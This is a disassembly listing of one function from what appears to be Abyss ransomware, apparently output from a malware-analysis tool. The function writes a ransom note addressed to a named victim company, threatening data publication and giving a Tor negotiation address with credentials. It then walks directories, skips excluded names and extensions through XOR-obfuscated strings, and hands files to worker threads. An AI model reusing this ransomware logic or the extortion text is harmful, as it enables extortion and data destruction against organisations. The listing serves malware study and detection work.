Function at 0x1400442a0
Capabilities:
Enumerate files on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2b0
mov rax, qword [0x140073010]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rdi, rdx
mov r12, rcx
mov edx, 8
mov r8d, 0x10000
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x1400447ef
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14001a4d4]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14001a4d8]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r13 + 1]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140044385
lea rcx, str.Hello_Tolsa._r_nWe_are_the_Abyss._r_n_r_nData_at_the_main_critical_points_of_your_network_has_been_compromised__and_all_of_your_companys_critical_data_has_been_transferred_to_our_servers._r_nWe_have_downloaded_more_than_6TB_of_private_data_from_your_network__including_your_Exchange__emails___SAP_databases__and_much_more.__r_nTo_prevent_this_from_becoming_public__we_recommend_you_contact_us_as_soon_as_possible._r_n_r_nGood_news:_r_n_r_n_______100__of_your_server_system_and_data_will_be_restored_using_our_tool__r_n_______Currently__your_data_is_securely_protected_and_stored_on_our_server__r_n_______If_we_come_to_an_agreement__no_one_in_the_world_will_know_about_your_companys_data_breach_except_you_and_the_team_of_Abyss._r_n_r_nPlease_read_the_following_rules_carefully:_r_n_r_n____1__You_have_72_hours_to_contact_us__otherwise__we_will_publish_all_the_information_we_have_and_destroy_the_recovery_tool._r_n____2__You_have_5_days_from_the_start_of_negotiations_to_reach_a_mutual_agreement_with_us._Otherwise__we_will_publish_all_the_information_we_have_and_destroy_the_recovery_tool._r_n____3__The_payment_amount_for_our_services_is_based_on_the_data_leaked_from_your_network_and_your_revenue._r_n____4__The_amount_stated_is_non_negotiable__and_no_discounts_will_be_given._Do_not_waste_our_and_your_time_in_vain._r_n_r_nWe_all_understand_what_happened_and_what_consequences_await_you._r_n_r_nYou_can_seek_recovery_assistance_in_negotiations__but_unfortunately__the_percentage_of_successfully_concluded_negotiations_with_recovery_assistance_decreases_every_day_r_nbecause_its_your_money_and_your_fines._They_care_little_about_it._r_n_r_nOur_motivation_is_purely_financial__we_do_not_associate_ourselves_with_any_country_or_politics._r_n_r_nWhat_we_offer_in_exchange_for_your_payment:_r_n_r_n___1__Decryption_and_restoration_of_all_your_systems_and_data_within_24_hours_with_a_100__guarantee__r_n___2__Never_inform_anyone_about_the_data_leak_from_your_company__r_n___3__After_decrypting_the_data_and_restoring_the_system__we_will_permanently_delete_all_your_data_from_our_servers__r_n___4__Provide_valuable_advice_on_protecting_your_companys_IT_to_prevent_future_attacks._r_n_r_n_r_nNow__in_order_to_start_negotiations__you_need_to_do_the_following:_r_n__download_the_Tor_Browser_using_their_official_website:_https:__www.torproject.org__r_n__use_these_credentials_to_enter_the_Chat_for_text_negotiation:__http:__jvqqxks35nrcifpv5qhr2c2d33od5jr3jfpqbeoout33cuxpwxvxuuyd.onion_QqlOIXyVfA2TAW5Gs5wrVEdcMH8saA_r_n_r_nThere_will_be_no_bad_news_for_your_company_after_successful_negotiations_for_both_sides._But_there_will_be_plenty_of_those_bad_news_if_case_of_failed_negotiations__so_dont_think_about_how_to_avoid_it._r_nJust_focus_on_negotiations__payment_and_decryption_to_make_all_of_your_problems_solved_by_our_specialists_within_1_day_after_payment_received:_servers_and_data_restored__everything_will_work_good_as_new._r_n_r_n_r_nNothing_personal__just_business
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r8d, eax
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x48]
lea rdx, str.Hello_Tolsa._r_nWe_are_the_Abyss._r_n_r_nData_at_the_main_critical_points_of_your_network_has_been_compromised__and_all_of_your_companys_critical_data_has_been_transferred_to_our_servers._r_nWe_have_downloaded_more_than_6TB_of_private_data_from_your_network__including_your_Exchange__emails___SAP_databases__and_much_more.__r_nTo_prevent_this_from_becoming_public__we_recommend_you_contact_us_as_soon_as_possible._r_n_r_nGood_news:_r_n_r_n_______100__of_your_server_system_and_data_will_be_restored_using_our_tool__r_n_______Currently__your_data_is_securely_protected_and_stored_on_our_server__r_n_______If_we_come_to_an_agreement__no_one_in_the_world_will_know_about_your_companys_data_breach_except_you_and_the_team_of_Abyss._r_n_r_nPlease_read_the_following_rules_carefully:_r_n_r_n____1__You_have_72_hours_to_contact_us__otherwise__we_will_publish_all_the_information_we_have_and_destroy_the_recovery_tool._r_n____2__You_have_5_days_from_the_start_of_negotiations_to_reach_a_mutual_agreement_with_us._Otherwise__we_will_publish_all_the_information_we_have_and_destroy_the_recovery_tool._r_n____3__The_payment_amount_for_our_services_is_based_on_the_data_leaked_from_your_network_and_your_revenue._r_n____4__The_amount_stated_is_non_negotiable__and_no_discounts_will_be_given._Do_not_waste_our_and_your_time_in_vain._r_n_r_nWe_all_understand_what_happened_and_what_consequences_await_you._r_n_r_nYou_can_seek_recovery_assistance_in_negotiations__but_unfortunately__the_percentage_of_successfully_concluded_negotiations_with_recovery_assistance_decreases_every_day_r_nbecause_its_your_money_and_your_fines._They_care_little_about_it._r_n_r_nOur_motivation_is_purely_financial__we_do_not_associate_ourselves_with_any_country_or_politics._r_n_r_nWhat_we_offer_in_exchange_for_your_payment:_r_n_r_n___1__Decryption_and_restoration_of_all_your_systems_and_data_within_24_hours_with_a_100__guarantee__r_n___2__Never_inform_anyone_about_the_data_leak_from_your_company__r_n___3__After_decrypting_the_data_and_restoring_the_system__we_will_permanently_delete_all_your_data_from_our_servers__r_n___4__Provide_valuable_advice_on_protecting_your_companys_IT_to_prevent_future_attacks._r_n_r_n_r_nNow__in_order_to_start_negotiations__you_need_to_do_the_following:_r_n__download_the_Tor_Browser_using_their_official_website:_https:__www.torproject.org__r_n__use_these_credentials_to_enter_the_Chat_for_text_negotiation:__http:__jvqqxks35nrcifpv5qhr2c2d33od5jr3jfpqbeoout33cuxpwxvxuuyd.onion_QqlOIXyVfA2TAW5Gs5wrVEdcMH8saA_r_n_r_nThere_will_be_no_bad_news_for_your_company_after_successful_negotiations_for_both_sides._But_there_will_be_plenty_of_those_bad_news_if_case_of_failed_negotiations__so_dont_think_about_how_to_avoid_it._r_nJust_focus_on_negotiations__payment_and_decryption_to_make_all_of_your_problems_solved_by_our_specialists_within_1_day_after_payment_received:_servers_and_data_restored__everything_will_work_good_as_new._r_n_r_n_r_nNothing_personal__just_business
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14001a4fc]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400447dd
movabs rbx, 0x400000010000047b
mov ebp, 0xbf
nop dword [rax + rax]
test dword [rsp + 0x50], 0x1410
jne 0x1400447be
cmp dword [rsp + 0x6c], 0
jne 0x1400443f0
cmp dword [rsp + 0x70], 0
je 0x1400447be
lea rdx, [0x14001a508]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400447be
lea rdx, [0x14001a4d8]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400447be
movzx eax, word [rsp + 0x7c]
sub ax, 0x20
cmp ax, 0x3e
ja 0x140044440
movzx eax, ax
bt rbx, rax
jb 0x1400447be
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov eax, 0x2ca0
mov ecx, eax
mov eax, dword [rax + rsi]
mov ebx, 0x2ad8
add rbx, rsi
test al, 1
jne 0x14004448d
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rbx + 0xc], 1
mov dword [rbx], 0xca00c6
mov dword [rbx + 4], 0xc0002b
mov dword [rbx + 8], 0xbf00b9
lea rcx, [0x14006b9b0]
call fcn.140048870
nop
cmp byte [rbx + 0xc], 0
je 0x1400444c3
mov eax, 0x85
xor word [rbx], ax
mov eax, 0xb3
xor word [rbx + 2], ax
xor word [rbx + 4], 0x45
mov eax, 0xa5
xor word [rbx + 6], ax
mov eax, 0xcd
xor word [rbx + 8], ax
xor word [rbx + 0xa], bp
mov byte [rbx + 0xc], 0
mov rdx, rbx
lea rcx, [rsp + 0x7c]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x1400447b4
mov eax, 0x2e08
mov edx, eax
mov eax, dword [rax + rsi]
mov ecx, 0x2fb8
test al, 1
jne 0x14004452c
or eax, 1
mov dword [rdx + rsi], eax
lea rbx, [rcx + rsi]
mov byte [rbx + 0xe], 1
mov dword [rbx], 0x5600bd
mov esi, 0xb5
mov dword [rbx + 4], 0xc600b5
mov dword [rbx + 8], 0x7000b2
mov eax, 0x91
mov word [rbx + 0xc], ax
lea rcx, [0x14006b990]
call fcn.140048870
nop
jmp 0x140044535
lea rbx, [rcx + rsi]
mov esi, 0xb5
cmp byte [rbx + 0xe], 0
je 0x140044570
mov eax, 0xef
xor word [rbx], ax
xor word [rbx + 2], 0x37
mov eax, 0xdb
xor word [rbx + 4], ax
xor word [rbx + 6], si
mov eax, 0xdd
xor word [rbx + 8], ax
xor word [rbx + 0xa], 0x1d
mov eax, 0x91
xor word [rbx + 0xc], ax
mov byte [rbx + 0xe], 0
mov rdx, rbx
lea rcx, [rsp + 0x7c]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x1400447b4
mov esi, r13d
lea rbx, [0x140076eb0]
mov rdx, qword [rbx]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400447b4
inc esi
add rbx, 8
cmp esi, 0x10
jb 0x140044591
lea rcx, [rsp + 0x7c]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov rbp, rax
cmp word [rax], 0
je 0x1400445ef
mov esi, r13d
lea rbx, [0x140019ae0]
mov rdx, qword [rbx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400447af
inc esi
add rbx, 8
cmp esi, 0x49
jb 0x1400445d0
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14001a4d4]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x7c]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
nop dword [rax]
xor edx, edx
mov rcx, qword [0x140076e60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400446f2
nop word [rax + rax]
xor edx, edx
mov rcx, qword [0x140076e68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140044620
lea rcx, [0x140076e70]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsxd rcx, dword [0x140076eac]
mov rbx, qword [0x140076ea0]
mov rbx, qword [rbx + rcx*8]
lea eax, [rcx + 1]
cdq
idiv dword [0x140076e98]
mov dword [0x140076eac], edx
lea rcx, [0x140076e70]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [0x140076e60]
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test rbx, rbx
je 0x140044620
mov dword [rsp + 0x44], r13d
lea rdx, [rsp + 0x44]
mov rcx, rbx
call fcn.1400435a0
test eax, eax
je 0x1400446d1
inc dword [rdi + 0x14]
mov edx, eax
mov rcx, rbx
call fcn.140023600
jmp 0x1400446db
inc dword [rdi + 0x18]
mov eax, dword [rsp + 0x44]
add dword [rdi + 0x10], eax
mov r8, rbx
xor edx, edx
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140044640
lea rcx, [0x140076e70]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
mov ebx, eax
mov r8d, eax
mov edx, 8
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9, rax
mov dword [rsp + 0x40], r13d
movsxd rcx, dword [rsp + 0x40]
cmp rcx, rbx
jae 0x140044767
nop dword [rax + rax]
movsxd r8, dword [rsp + 0x40]
movsxd rcx, dword [rsp + 0x40]
movzx eax, byte [r8 + r14]
mov byte [rcx + r9], al
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, rbx
jb 0x140044740
movsxd rcx, dword [0x140076ea8]
mov rax, qword [0x140076ea0]
mov qword [rax + rcx*8], r9
mov eax, dword [0x140076ea8]
inc eax
cdq
idiv dword [0x140076e98]
mov dword [0x140076ea8], edx
lea rcx, [0x140076e70]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [0x140076e68]
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ebp, 0xbf
movabs rbx, 0x400000010000047b
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400443d0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r8, r14
xor edx, edx
mov rcx, qword [0x140076e58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140048740
mov rbx, qword [rsp + 0x300]
add rsp, 0x2b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret